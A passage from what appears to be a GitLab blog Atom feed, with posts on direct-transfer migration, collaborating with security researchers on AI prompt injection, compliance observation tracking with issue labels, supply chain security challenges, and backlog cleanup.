<li>It offers better insights into the migration while it runs as well as after it completes. In the UI you can observe as the numbers grow as more items are imported. Then you can <a href="https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#review-results-of-the-import">review the results</a>. You can see that an item was imported thanks to an <code>Imported</code> badge on items in the GitLab UI.</li>
</ul>
<p>We’ve come a long way since GitLab 14.3 when we started supporting the direct migration of the group resources. In GitLab 15.8, we <a href="https://about.gitlab.com/blog/2023/01/18/try-out-new-way-to-migrate-projects/">extended this functionality to projects as a beta</a>. Since then, we have worked to improve the efficiency and reliability of importing, especially for large projects. We thoroughly reviewed the feature from a security and instance stability standpoint.</p>
<p>To give an example of the sizes of the groups and projects we've tested with, and their import duration, we've seen successful imports of:</p>
<ul>
<li>100 projects (19.9k issues, 83k merge requests, 100k+ pipelines) that migrated in 8 hours</li>
<li>1,926 projects (22k issues, 160k merge requests, 1.1 million pipelines) that migrated in 34 hours</li>
</ul>
<p>On GitLab.com, migrating by direct transfer is enabled by default. On GitLab Self-Managed and on GitLab Dedicated, an administrator must <a href="https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#enable-migration-of-groups-and-projects-by-direct-transfer">enable the feature in application settings</a>.</p>
<h2>When to use migrating by direct transfer and how to get the best results</h2>
<p>Migrating by direct transfer requires network connection between instances or GitLab.com. Therefore, customers that use air-gapped networks with no connectivity between their GitLab instances still have to use file exports to copy their GitLab data. They will be able to use migrating groups and projects by direct transfer after we extend this solution to also <a href="https://gitlab.com/groups/gitlab-org/-/epics/8985">support offline instances</a>.</p>
<p>Before you attempt a migration, review <a href="https://docs.gitlab.com/user/group/import/">documentation</a>, including <a href="https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#prerequisites">prerequisites</a>, <a href="https://docs.gitlab.com/ee/user/group/import/#migrated-group-items">group items</a>, and <a href="https://docs.gitlab.com/ee/user/group/import/#migrated-project-items">project items</a> that are migrated. Some items are excluded from migration or not yet supported.</p>
<h3>Migrate between most recent possible versions</h3>
<p>We recommend migrating between versions that are as recent as possible. Update the source and destination instances to take advantage of all improvements and bug fixes we’ve added over time.</p>
<h3>Prepare for user contribution mapping post migration</h3>
<p>Familiarize yourself with <a href="https://docs.gitlab.com/user/project/import/#user-contribution-and-membership-mapping">user contribution and membership mapping process</a> so you know what to expect after migration completes and what are the next steps for you to take.</p>
<h3>Review options to reduce migration duration</h3>
<p>Depending on where you’re migrating to, GitLab.com, a self-managed instance, or Dedicated, you can employ <a href="https://docs.gitlab.com/ee/user/group/import/#reducing-migration-duration">various strategies to reduce the migration duration</a>.</p>
<h2>How can I review the results?</h2>
<p>You can view all groups and projects migrated by you by direct transfer listed on the <a href="https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#group-import-history">group import history page</a>. For each group and project, you can view statistics for imported items and dig down into details in case some items were not imported. Alternatively, you can use <a href="https://docs.gitlab.com/ee/api/bulk_imports.html#list-all-group-or-project-migrations-entities">API endpoints</a> to do the same.</p>
<p>In cases where most of your projects completed successfully but one or two end up missing some relations, like merge requests or issues, we recommend that you try re-importing those projects <a href="https://docs.gitlab.com/ee/api/bulk_imports.html#start-a-new-group-or-project-migration">by using the API</a>.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753961409/ja8agmwarwxxlo9vmqbo.gif" alt=""></p>
<h2>What’s next for migrating by direct transfer?</h2>
<p>We are excited to bring migration by direct transfer to general availability and hope you are too! We want to hear from you. What's the most important missing piece for you? What else can we improve? Let us know in the <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/284495">migration by direct transfer feedback issue</a> and we'll keep iterating!</p>
]]></content>
        <author>
            <name>Magdalena Frankiewicz</name>
            <uri>https://about.gitlab.com/blog/authors/magdalena-frankiewicz</uri>
        </author>
        <published>2025-07-31T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Securing AI together: GitLab’s partnership with security researchers]]></title>
        <id>https://about.gitlab.com/blog/securing-ai-together-gitlabs-partnership-with-security-researchers/</id>
        <link href="https://about.gitlab.com/blog/securing-ai-together-gitlabs-partnership-with-security-researchers/"/>
        <updated>2025-07-31T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>As GitLab's Senior Director of Application Security, my primary mission is straightforward: to protect our customers from harm caused by software vulnerabilities. In an era where AI is transforming how we build software, this mission has taken on new dimensions and urgency. Here’s how we're working with the global security research community to make <a href="https://docs.gitlab.com/user/duo_agent_platform/">GitLab Duo Agent Platform</a> secure against emerging threats.</p>
<h2>The AI security challenge</h2>
<p>AI-powered platforms create incredible productivity for engineers. However, the ability to create code also brings a crucial need for robust security. For example, prompt injection attacks embed hidden instructions in comments, source code, and merge request descriptions. These can guide AI into making attacker-controlled recommendations to the user or, in some cases, autonomously taking unintended action. Addressing these risks helps ensure the responsible and secure evolution of AI in development.</p>
<p>GitLab’s security and engineering teams work diligently to provide customers with a safe and secure platform. Partnerships with external security researchers, such as <a href="https://www.persistent-security.net/post/part-i-prompt-injection-exploiting-llm-instruction-confusion">Persistent Security</a>, are an integral part of that approach.</p>
<h2>Our commitment to transparent collaboration</h2>
<p><a href="https://about.gitlab.com/ai-transparency-center/">GitLab's AI Transparency Center</a> details how we uphold ethics and transparency in our development and use of AI-powered features. This commitment extends to our collaboration with security researchers.</p>
<p>When Persistent Security reached out to GitLab to discuss a complex prompt injection issue with industry-wide impact, they were quickly connected to the GitLab Product Security Response Team to investigate if any of our products were affected.</p>
<p>Through this dialogue, we were able to quickly identify and implement mitigations that were deployed prior to the public beta of GitLab Duo Agent Platform in July 2025. This rapid response exemplifies our approach to working with security researchers and collaborating transparently throughout the process to coordinate remediation and disclosure to protect customers.</p>
<h2>Why external research matters for AI security</h2>
<p>AI systems present unique security challenges that require diverse perspectives and specialized expertise.</p>
<p>External researchers are essential for:</p>
<ul>
<li><strong>Rapid Threat Evolution:</strong> AI security threats evolve quickly. The research community helps us stay ahead of emerging attack patterns, from prompt injection techniques to novel ways of manipulating AI responses.</li>
<li><strong>Real-World Testing:</strong> External researchers test our systems in ways that mirror actual attacker behavior, providing invaluable insights into how our defenses perform under pressure.</li>
<li><strong>Diverse Expertise:</strong> External security researchers often demonstrate exceptional creativity, with reports standing out for innovative approaches to identifying complex vulnerabilities. This diversity of thinking strengthens our overall security posture.</li>
</ul>
<h2>Our ongoing commitment</h2>
<p>The security research community remains a crucial partner in our mission to protect customers. We're committed to:</p>
<ul>
<li>Providing clear guidance to researchers about our AI systems and security boundaries</li>
<li>Maintaining rapid response times for security disclosures</li>
<li>Sharing our learnings with the broader community through public disclosure and research</li>
</ul>
<p>The future of AI security depends on collaboration between organizations like GitLab and the security research community. By working together, we can ensure that AI remains a force for productivity and innovation while protecting our customers and users from harm.</p>
<p>To our security research partners: thank you for your partnership, making us stronger, more secure, and better prepared for the challenges ahead. I’ll be at Black Hat August 6-7, 2025, and look forward to connecting with AI security researchers there. You can reach me through the Black Hat mobile app or on <a href="https://www.linkedin.com/in/kymberleeprice/">LinkedIn</a>.</p>
<blockquote>
<p>Do you want to play a role in keeping GitLab secure? Visit our <a href="https://hackerone.com/gitlab">HackerOne program</a> to get started, or learn more about our AI security practices at our <a href="https://about.gitlab.com/ai-transparency-center/">AI Transparency Center</a>.</p>
</blockquote>
]]></content>
        <author>
            <name>Kymberlee Price</name>
            <uri>https://about.gitlab.com/blog/authors/kymberlee-price</uri>
        </author>
        <published>2025-07-31T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[How to transform compliance observation management with GitLab]]></title>
        <id>https://about.gitlab.com/blog/how-to-transform-compliance-observation-management-with-gitlab/</id>
        <link href="https://about.gitlab.com/blog/how-to-transform-compliance-observation-management-with-gitlab/"/>
        <updated>2025-07-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>An observation is a compliance finding or deficiency identified during control monitoring. This is essentially a gap between what your security controls should be doing and what they're actually doing. Observations can stem from design deficiencies where the control isn't structured properly to meet requirements, operating effectiveness issues where the control exists but isn't working as intended, or evidence gaps where required documentation or proof of control execution is missing.</p>
<p>These observations emerge from our quarterly control monitoring process, where we systematically assess the effectiveness of security controls supporting our certifications (SOC 2, ISO 27001, etc.). Observations can also be the output of our external audits from third-party assessors. Observations aren't just compliance checkboxes, they represent real security risks that need prompt, visible remediation.</p>
<p>Observation management is the process by which we manage these observations from identification through remediation to closure. In this article, you'll learn how the GitLab Security Team uses the DevSecOps platform to manage and remediate observations, and the efficiencies we've realized from doing so.</p>
<h2>The GitLab observation lifecycle: From identification to resolution</h2>
<p>The lifecycle of an observation encompasses the entire process from initial identification by compliance engineers through to completed remediation by remediation owners. This lifecycle enables real-time transparent status reporting and that is easier for all stakeholders to understand and follow.</p>
<p>Here are the stages of the observation lifecycle:</p>
<p><strong>1. Identification</strong></p>
<ul>
<li>Compliance engineers identify potential observations during quarterly monitoring.</li>
<li>Initial validation occurs to confirm the finding represents a genuine control gap.</li>
<li>Detailed documentation begins immediately in a GitLab issue.</li>
<li>The root cause of the observation is determined and a remediation plan to address the root cause is established.</li>
</ul>
<p><strong>2. Validation</strong></p>
<ul>
<li>Issue is assigned to the appropriate remediation owner (usually a team lead or department manager).</li>
<li>Remediation owner reviews and confirms they understand and accept ownership.</li>
<li>The remediation plan is reviewed, prioritized, and updated collaboratively as needed.</li>
</ul>
<p><strong>3. In-progress</strong></p>
<ul>
<li>Active remediation work begins with clear milestones and deadlines.</li>
<li>Regular updates are provided through GitLab comments and status changes.</li>
<li>Collaboration happens transparently where all stakeholders can see progress.</li>
</ul>
<p><strong>4. Remediated</strong></p>
<ul>
<li>Remediation owner marks work complete and provides evidence.</li>
<li>Issue transitions to compliance review for validation.</li>
</ul>
<p><strong>5. Resolution</strong></p>
<ul>
<li>Compliance engineer verifies exit criteria are met.</li>
<li>The issue is closed with final documentation.</li>
<li>Lessons learned are captured for future prevention.</li>
</ul>
<p><strong>Alternative paths</strong> handle blocked work, risk acceptance decisions, and stalled remediation efforts with appropriate escalation workflows.
<img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753301753/pbvheikwpivuvhzd5ith.png" alt="Example of observation lifecycle">
&lt;center&gt;&lt;i&gt;Example of observation lifecycle&lt;/i&gt;&lt;/center&gt;</p>
<h2>The power of transparency in GitLab</h2>
<p>Effective observation management shouldn't require detective work to determine basic information like ownership, status, or priority. Yet most organizations find themselves exactly in this scenario: compliance teams chasing updates, operational teams unaware of their responsibilities, and leadership lacking visibility into real risk exposure until audit season arrives.</p>
<p>The Security Compliance team at GitLab faced these exact problems. Our team initially used a dedicated GRC tool as the single source of truth for outstanding observations, but the lack of visibility to key stakeholders meant minimal remediation actually occurred. The team found themselves spending their time on administrative work, rather than guiding remediation efforts.</p>
<p>Our solution was to move observation management directly into GitLab issues within a dedicated project. This approach transforms observations from compliance issues into visible, actionable work items that integrate naturally into development and operations workflows. Every stakeholder can see what needs attention, collaborate on remediation plans, and track progress in real time, creating the transparency and accountability that traditional tools simply can't deliver.</p>
<h3>Smart organization through labels and issue boards</h3>
<p>GitLab allows teams to categorize observation issues into multiple organizational views. The Security Compliance team uses the following to categorize observations:</p>
<ul>
<li><strong>Workflow:</strong> <code>~workflow::identified</code>, <code>~workflow::validated</code>, <code>~workflow::in progress</code>, <code>~workflow::remediated</code></li>
<li><strong>Department:</strong> <code>~dept::engineering</code>, <code>~dept::security</code>, <code>~dept::product</code></li>
<li><strong>Risk Severity:</strong> <code>~risk::critical</code>, <code>~risk::high</code>, <code>~risk::medium</code>, <code>~risk::low</code></li>
<li><strong>System:</strong> <code>~system::gitlab</code>, <code>~system::gcp</code>, <code>~system::hr-systems</code></li>
<li><strong>Program:</strong> <code>~program::soc2</code>, <code>~program::iso</code>, <code>~program::fedramp</code> , <code>~program::pci</code></li>
</ul>
<p>These labels are then leveraged to create issue boards:</p>
<ul>
<li><strong>Workflow boards</strong> visualize the observation lifecycle stages.</li>
<li><strong>Department boards</strong> show each team's remediation workload.</li>
<li><strong>Risk-based boards</strong> prioritize critical findings requiring immediate attention.</li>
<li><strong>System boards</strong> visualize observations by system.</li>
<li><strong>Program boards</strong> track certification-specific observation resolution.</li>
</ul>
<p>Labels enable powerful filtering and reporting while supporting automated workflows through our triage bot policies. Please refer to the automation section for more details on our automation strategy.</p>
<h2>Automation: Working smarter, not harder</h2>
<p>Managing dozens of observations across multiple certifications requires smart automation. The Security Compliance team utilizes the <a href="https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage">triage bot</a>, which is an open source project hosted in GitLab. The triage bot gem aims to enable project managers to automatically triage issues in GitLab projects or groups based on defined policies. This helps manage issue hygiene so stakeholders can focus their efforts on remediation.</p>
<p>Within the observation management project, we have policies written to ensure there is an assignee on each issue, each issue has required labels, issues are updated every 30 days, and blocked and stalled issues are nudged every 90 days. In addition, a weekly summary issue is created to summarize all the issues out of compliance based on our defined policies. This enables team members to monitor issues efficiently and spend less time on administrative tasks.</p>
<h2>Measuring success: Key metrics and reporting</h2>
<p>GitLab's raw issue data can be leveraged into actionable intelligence. Organizations can extract meaningful insights from issue creation date, closed date, last updated date, and labels. The following metrics provide a comprehensive view of your observation management effectiveness:</p>
<p><strong>Resolution Efficiency Analysis:</strong> Average time from identification to resolution by department and severity</p>
<p>Track issue creation versus close dates across departments and severity levels to identify bottlenecks and measure performance against SLAs. This reveals which teams excel at rapid response and which may need additional resources or process improvements.</p>
<p><strong>Real-Time Risk Assessment:</strong> Current risk profile based on open critical and high risk observations</p>
<p>Leverage risk level labels to create dynamic visualizations of your organization's current risk exposure. This provides leadership with an immediate understanding of critical observations requiring urgent attention.</p>
<p><strong>Strategic Resource Allocation:</strong> Department-level risk distribution for targeted improvement efforts</p>
<p>Identify which departments are responsible for remediation of the highest-risk observations to prioritize resources, oversight, and projects. This data-driven approach ensures improvement efforts focus where they'll have maximum impact.</p>
<p><strong>Compliance Readiness Monitoring:</strong> Certification-specific observation counts and resolution rates</p>
<p>Utilize certification labels to assess audit preparedness and track progress toward compliance goals. This metric provides early warning of potential certification risks and validates remediation efforts.</p>
<p><strong>Accountability Tracking:</strong> Overdue remediations</p>
<p>Monitor SLA compliance to ensure observations receive timely attention. This metric highlights systemic delays and enables proactive intervention before minor issues become major problems.</p>
<p><strong>Engagement Health Check:</strong> Observation freshness</p>
<p>Track recent activity (updates within 30 days) to ensure observations remain actively managed rather than forgotten. This metric identifies stagnant issues that may require escalation or reassignment.</p>
<h2>Advanced strategies: Taking observation management further</h2>
<p>Here's what you can do to deepen the impact of observation management in your organization.</p>
<p><strong>Integrate with security tools</strong></p>
<p>Modern observation management extends beyond manual tracking by connecting with your existing security infrastructure. Organizations can configure vulnerability scanners and security monitoring tools to automatically generate observation issues, eliminating manual data entry and ensuring comprehensive coverage.</p>
<p><strong>Apply predictive analytics</strong></p>
<p>Historical observation data becomes a powerful forecasting tool when properly analyzed. Organizations can leverage past remediation patterns to predict future timelines and resource requirements, enabling more accurate project planning and budget allocation. Pattern recognition in observation types reveals systemic vulnerabilities that warrant preventive controls, shifting focus from reactive to proactive risk management. Advanced implementations incorporate multiple data sources into sophisticated risk scoring algorithms that provide nuanced threat assessments and priority rankings.</p>
<p><strong>Customize for stakeholders</strong></p>
<p>Effective observation management recognizes that different roles require different perspectives on the same data. Role-based dashboards deliver tailored views for executives seeking high-level risk summaries, department managers tracking team performance, and individual contributors managing their assigned observations. Automated reporting systems can be configured to match various audience needs and communication preferences, from detailed technical reports to executive briefings. Self-service analytics capabilities empower stakeholders to conduct ad-hoc analysis and generate custom insights without requiring technical expertise or support.</p>
<h2>Move from mere compliance to operational excellence</h2>
<p>GitLab's approach to observation management represents more than a tool change, it's a fundamental shift from reactive compliance to proactive risk mitigation. By breaking down silos between compliance teams and operational stakeholders, organizations achieve unprecedented visibility while dramatically improving remediation outcomes.</p>
<p>The results are measurable: faster resolution through transparent accountability, active stakeholder collaboration instead of reluctant participation, and continuous audit readiness rather than periodic scrambles. Automated workflows free compliance professionals for strategic work while rich data enables predictive analytics that shift focus from reactive firefighting to proactive prevention.</p>
<p>Most importantly, this approach elevates compliance from burden to strategic enabler. When observations become visible, trackable work items integrated into operational workflows, organizations develop stronger security culture and lasting improvements that extend beyond any single audit cycle. The outcome isn't just regulatory compliance. It's organizational resilience and competitive advantage through superior risk management.</p>
<blockquote>
<p>Want to learn more about GitLab's security compliance practices? Check out our <a href="https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/">Security Compliance Handbook</a> for additional insights and implementation guidance.</p>
</blockquote>
]]></content>
        <author>
            <name>Madeline Lake</name>
            <uri>https://about.gitlab.com/blog/authors/madeline-lake</uri>
        </author>
        <published>2025-07-24T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Software supply chain security guide: Why organizations struggle]]></title>
        <id>https://about.gitlab.com/blog/software-supply-chain-security-guide-why-organizations-struggle/</id>
        <link href="https://about.gitlab.com/blog/software-supply-chain-security-guide-why-organizations-struggle/"/>
        <updated>2025-07-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Ask most development teams about supply chain security, and you'll get answers focused on vulnerability scanning or dependency management. While these are components of supply chain security, they represent a dangerously narrow view of a much broader challenge.</p>
<p><strong>Supply chain security isn't just about scanning dependencies.</strong> It encompasses the entire journey from code creation to production deployment, including:</p>
<ul>
<li><strong>Source security:</strong> protect code repositories, managing contributor access, ensuring code integrity</li>
<li><strong>Build security:</strong> secure build environments, preventing tampering during compilation and packaging</li>
<li><strong>Artifact security:</strong> ensure the integrity of containers, packages, and deployment artifacts</li>
<li><strong>Deployment security:</strong> secure the delivery mechanisms and runtime environments</li>
<li><strong>Tool security:</strong> harden the development tools and platforms themselves</li>
</ul>
<p>The &quot;chain&quot; in supply chain security refers to this interconnected series of steps. A weakness anywhere in the chain can compromise the entire software delivery process.</p>
<p>The <a href="https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure-security">2020 SolarWinds attack</a> illustrates this perfectly. In what became one of the largest supply chain attacks in history, state-sponsored attackers compromised the build pipeline of SolarWinds' Orion network management software. Rather than exploiting a vulnerable dependency or hacking the final application, they injected malicious code during the compilation process itself.</p>
<p>The result was devastating: More than 18,000 organizations, including multiple U.S. government agencies, unknowingly installed backdoored software through normal software updates. The source code was clean, the final application appeared legitimate, but the build process had been weaponized. This attack remained undetected for months, demonstrating how supply chain vulnerabilities can bypass traditional security measures.</p>
<h3>Common misconceptions that leave organizations vulnerable</h3>
<p>Despite growing awareness of supply chain threats, many organizations remain exposed because they operate under fundamental misunderstandings about what software supply chain security actually entails. These misconceptions create dangerous blind spots:</p>
<ul>
<li>Thinking software supply chain security equals dependency scanning</li>
<li>Focusing only on open source components while ignoring proprietary code risks</li>
<li>Believing that code signing alone provides sufficient protection</li>
<li>Assuming that secure coding practices eliminate supply chain risks</li>
<li>Treating it as a security team problem rather than a development workflow challenge</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200077/kqndvlxyvncshdiq0xea.png" alt="Software supply chain security dependency chart"></p>
<h2>How AI is changing the game</h2>
<p>Just as organizations are grappling with traditional software supply chain security challenges, artificial intelligence (AI)  is introducing entirely new attack vectors and amplifying existing ones in unprecedented ways.</p>
<h3>AI-powered attacks: More sophisticated, more scalable</h3>
<p>Attackers are using AI to automate vulnerability discovery, generate convincing social engineering attacks targeting developers, and systematically analyze public codebases for weaknesses. What once required manual effort can now be done at scale — with precision.</p>
<h3>The AI development supply chain introduces new risks</h3>
<p>AI is reshaping the entire development lifecycle, but it's also introducing significant security blind spots:</p>
<ul>
<li><strong>Model supply chain attacks:</strong> Pre-trained models from sources like Hugging Face or GitHub may contain backdoors or poisoned training data.</li>
<li><strong>Insecure AI-generated code:</strong> Developers using AI coding assistants may unknowingly introduce vulnerable patterns or unsafe dependencies.</li>
<li><strong>Compromised AI toolchains:</strong> The infrastructure used to train, deploy, and manage AI models creates a new attack surface.</li>
<li><strong>Automated reconnaissance:</strong> AI enables attackers to scan entire ecosystems to identify high-impact supply chain targets.</li>
<li><strong>Shadow AI and unsanctioned tools:</strong> Developers may integrate external AI tools that haven't been vetted.</li>
</ul>
<p>The result? AI doesn't just introduce new vulnerabilities, it amplifies the scale and impact of existing ones. Organizations can no longer rely on incremental improvements. The threat landscape is evolving faster than current security practices can adapt.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200139/xuxezxld6ztlvjocgjlx.png" alt="AI amplification effect"></p>
<h2>Why most organizations still struggle</h2>
<p>Even organizations that understand supply chain security often fail to act effectively. The statistics reveal a troubling pattern of awareness without corresponding behavior change.</p>
<p>When <a href="https://www.cnn.com/2021/05/19/politics/colonial-pipeline-ransom/index.html">Colonial Pipeline paid hackers $4.4 million</a> in 2021 to restore operations, or when 18,000 organizations fell victim to the SolarWinds attack, the message was clear: Supply chain vulnerabilities can bring down critical infrastructure and compromise sensitive data at unprecedented scale.</p>
<p>Yet, despite this awareness, most organizations continue with business as usual. The real question isn't whether organizations care about supply chain security — it's why caring alone isn't translating into effective protection.</p>
<p>The answer lies in four critical barriers that prevent effective action:</p>
<p><strong>1. The false economy mindset</strong></p>
<p>Organizations sometimes focus on the cost instead of &quot;what's the most effective approach?&quot; This cost-first thinking creates expensive downstream problems.</p>
<p><strong>2. Skills shortage reality</strong></p>
<p>With <a href="https://codific.com/bsimm-building-security-in-maturity-model-a-complete-guide/">organizations averaging 4 security professionals per 100 developers</a>, according to BSIMM research, and <a href="https://www.isc2.org/Insights/2024/09/Employers-Must-Act-Cybersecurity-Workforce-Growth-Stalls-as-Skills-Gaps-Widen">90% of organizations reporting critical cybersecurity skills gaps</a>, according to ISC2, traditional approaches are mathematically impossible to scale.</p>
<p><strong>3. Misaligned organizational incentives</strong></p>
<p>Developer OKRs focus on feature velocity while security teams measure different outcomes. When C-suite priorities emphasize speed-to-market over security posture, friction becomes inevitable.</p>
<p><strong>4. Tool complexity overload</strong></p>
<p>The <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-03-gartner-identifiesthe-top-cybersecurity-trends-for-2025">average enterprise uses 45 cybersecurity tools</a>, with <a href="https://www.ponemon.org/news-updates/blog/security/new-ponemon-study-on-malware-detection-prevention-released.html">40% of security alerts being false positives</a> and must <a href="https://newsroom.ibm.com/2020-06-30-IBM-Study-Security-Response-Planning-on-the-Rise-But-Containing-Attacks-Remains-an-Issue">coordinate across 19 tools on average for each incident</a>.</p>
<p>These barriers create a vicious cycle: Organizations recognize the threat, invest in security solutions, but implement them in ways that don't drive the desired outcomes.</p>
<h2>The true price of supply chain insecurity</h2>
<p>Supply chain attacks create risk and expenses that extend far beyond initial remediation. Understanding these hidden multipliers helps explain why prevention is not just preferable – it's essential for business continuity.</p>
<p><strong>Time becomes the enemy</strong></p>
<ul>
<li>Average time to identify and contain a supply chain breach: <a href="https://keepnetlabs.com/blog/171-cyber-security-statistics-2024-s-updated-trends-and-data">277 days</a></li>
<li>Customer trust rebuilding period: <a href="https://www.bcg.com/publications/2024/rebuilding-corporate-trust">2-3+ years</a></li>
<li>Engineering hours diverted from product development to security remediation</li>
</ul>
<p><strong>Reputation damage compounds</strong></p>
<p>When attackers compromise your supply chain, they don't just steal data – they undermine the foundation of customer trust. <a href="https://www.metacompliance.com/blog/data-breaches/5-damaging-consequences-of-a-data-breach">Customer churn rates typically increase 33% post-breach</a>, while partner relationships require costly re-certification processes. Competitive positioning suffers as prospects choose alternatives perceived as &quot;safer.&quot;</p>
<p><strong>Regulatory reality bites</strong></p>
<p>The regulatory landscape has fundamentally shifted. <a href="https://www.skillcast.com/blog/20-biggest-gdpr-fines">GDPR fines now average over $50 million for significant data breache</a>s. The EU's new <a href="https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges/#european-cyber-resilience-act-(cra)">Cyber Resilience Act</a> mandates supply chain transparency. U.S. federal contractors must provide software bills of materials (<a href="https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/">SBOMs</a>) for all software purchases — a requirement that's rapidly spreading to private sector procurement.</p>
<p><strong>Operational disruption multiplies</strong></p>
<p>Beyond the direct costs, supply chain attacks create operational chaos such as platform downtime during attack remediation, emergency security audits across entire technology stacks, and legal costs from customer lawsuits and regulatory investigations.</p>
<h2>What's wrong with current approaches</h2>
<p>Most organizations confuse security activity with security impact. They deploy scanners, generate lengthy reports, and chase teams to address through manual follow-ups. But these efforts often backfire — creating more problems than they solve.</p>
<h3>Massive scanning vs. effective protection</h3>
<p>Enterprises generate over <a href="https://www.securityweek.com/enterprises-generate-10000-security-events-day-average-report/">10,000 security alerts each month, with the most active generating roughly 150,000 events per day.</a> <a href="https://panther.com/blog/identifying-and-mitigating-false-positive-alerts">But 63%</a> of these are false positives or low-priority noise. Security teams become overwhelmed and turn into bottlenecks instead of enablers.</p>
<h3>The collaboration breakdown</h3>
<p>The most secure organizations don't have the most tools; they have the strongest DevSecOps collaboration. But most current setups make this harder by splitting workflows across incompatible tools, failing to show developers security results in their environment, and offering no shared visibility into risk and business impact.</p>
<h2>The path forward</h2>
<p>Understanding these challenges is the first step toward building effective supply chain security. The organizations that succeed don't just add more security tools, they fundamentally rethink how security integrates with development workflows. They also review end-to-end software delivery workflows to simplify processes, reduce tools and improve collaboration.</p>
<p>At GitLab, we've seen how integrated DevSecOps platforms can address these challenges by bringing security directly into the development workflow. In our next article in this series, we'll explore how leading organizations are transforming their approach to supply chain security through developer-native solutions, AI-powered automation, and platforms that make security a natural part of building great software.</p>
<blockquote>
<p>Learn more about <a href="https://about.gitlab.com/solutions/supply-chain/">GitLab's software supply chain security capabilities</a>.</p>
</blockquote>
]]></content>
        <author>
            <name>Itzik Gan Baruch</name>
            <uri>https://about.gitlab.com/blog/authors/itzik-gan baruch</uri>
        </author>
        <published>2025-07-24T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Inside GitLab's Healthy Backlog Initiative]]></title>
        <id>https://about.gitlab.com/blog/inside-gitlabs-healthy-backlog-initiative/</id>
        <link href="https://about.gitlab.com/blog/inside-gitlabs-healthy-backlog-initiative/"/>
        <updated>2025-07-23T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>At GitLab, we are proud of the strong, collaborative relationship with our community. We encourage everyone to contribute to GitLab. Over the years, those community contributions have helped strengthen the GitLab platform. But as we've grown, community participation via GitLab issues has grown, resulting in an unwieldy issue backlog.</p>
<p>GitLab's Product and Engineering teams recently launched the <a href="https://gitlab.com/groups/gitlab-org/-/epics/18639">Healthy Backlog Initiative</a> to address this backlog and refine our approach to managing contributed issues going forward.</p>
<p>Issues with ongoing community engagement, recent activity, or a clear strategic alignment will remain open. We'll be closing issues that are no longer relevant, lack community interest, or no longer fit our current product direction.</p>
<p>This focus will lead to increased innovation, better expectation setting, and faster development and delivery cycles of community-contributed capabilities.</p>
<h2>What is the Healthy Backlog Initiative?</h2>
<p>Over time, the GitLab community has submitted tens of thousands of issues, including bugs, feature requests, and feedback items. Currently, the <a href="https://gitlab.com/gitlab-org/gitlab/-/issues">main GitLab issue tracker</a> contains over 65,000 issues, some are no longer applicable to the platform and others remain relevant today.</p>
<p>Our Healthy Backlog Initiative will cull the backlog and establish a workstream for our Product and Engineering teams to implement a more focused approach to backlog management. They will conduct weekly assessments of the backlog to ensure that we prioritize issues that align with our product strategy and roadmap.</p>
<p><strong>Note:</strong> If you believe a closed issue does align with GitLab’s product strategy and roadmap, or if you're actively contributing to the request, we strongly encourage you to comment on the issue with updated context and current details. We are committed to reviewing these updated issues as part of our regular assessment efforts.</p>
<h2>How does this change benefit you?</h2>
<p>This streamlined approach means direct, tangible improvements for every GitLab user:</p>
<ul>
<li>
<p><strong>Sharper focus and faster delivery:</strong> By narrowing our backlog to strategically aligned features, we can dedicate development resources more effectively. This means you can expect shorter development cycles and more meaningful improvements to your GitLab experience.</p>
</li>
<li>
<p><strong>Clearer expectations:</strong> We are committed to transparent communication about what's on our roadmap and what isn't, empowering you to make informed decisions about your workflows and contributions.</p>
</li>
<li>
<p><strong>Accelerated feedback loops:</strong> With a clean backlog, new feedback and feature requests will be reviewed and prioritized more efficiently, reducing overall triage time and ensuring timely issues receive the necessary attention. This creates a more responsive feedback loop for everyone.</p>
</li>
</ul>
<p>This initiative does not diminish the significance of community feedback and contributions. We are taking this action to create clarity around what GitLab Team Members can realistically commit to delivering, and to ensure that all feedback receives proper consideration.</p>
<h2>Looking forward</h2>
<p>The GitLab Healthy Backlog Initiative reflects our commitment to being transparent and effective stewards of the GitLab platform. By clearly communicating our priorities and focusing our efforts on what we can realistically deliver over the next year, we're better positioned to meet and exceed your expectations.</p>
<p>Your continued participation and feedback help make GitLab stronger. Every comment, merge request, bug report, and feature suggestion contributes to our shared vision. And we’re still rewarding you for that as well, with initiatives like our monthly Notable Contributor program, Swag rewards for leveling up, Hackathon winners, and more, all available through our <a href="https://contributors.gitlab.com">Contributor Portal</a>.</p>
<blockquote>
<p>To learn more about how to contribute to GitLab, <a href="https://about.gitlab.com/community/">visit our community site</a>. To share feedback on this project, please add your comments on <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/556865">the feedback issue</a> in this <a href="https://gitlab.com/groups/gitlab-org/-/epics/18639">epic</a>.</p>
</blockquote>
]]></content>
        <author>
            <name>Stan Hu</name>
            <uri>https://about.gitlab.com/blog/authors/stan-hu</uri>
        </author>
        <published>2025-07-23T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Bridging the visibility gap in software supply chain security]]></title>
        <id>https://about.gitlab.com/blog/bridging-the-visibility-gap-in-software-supply-chain-security/</id>
        <link href="https://about.gitlab.com/blog/bridging-the-visibility-gap-in-software-supply-chain-security/"/>
        <updated>2025-07-21T00:00:00.000Z</updated>
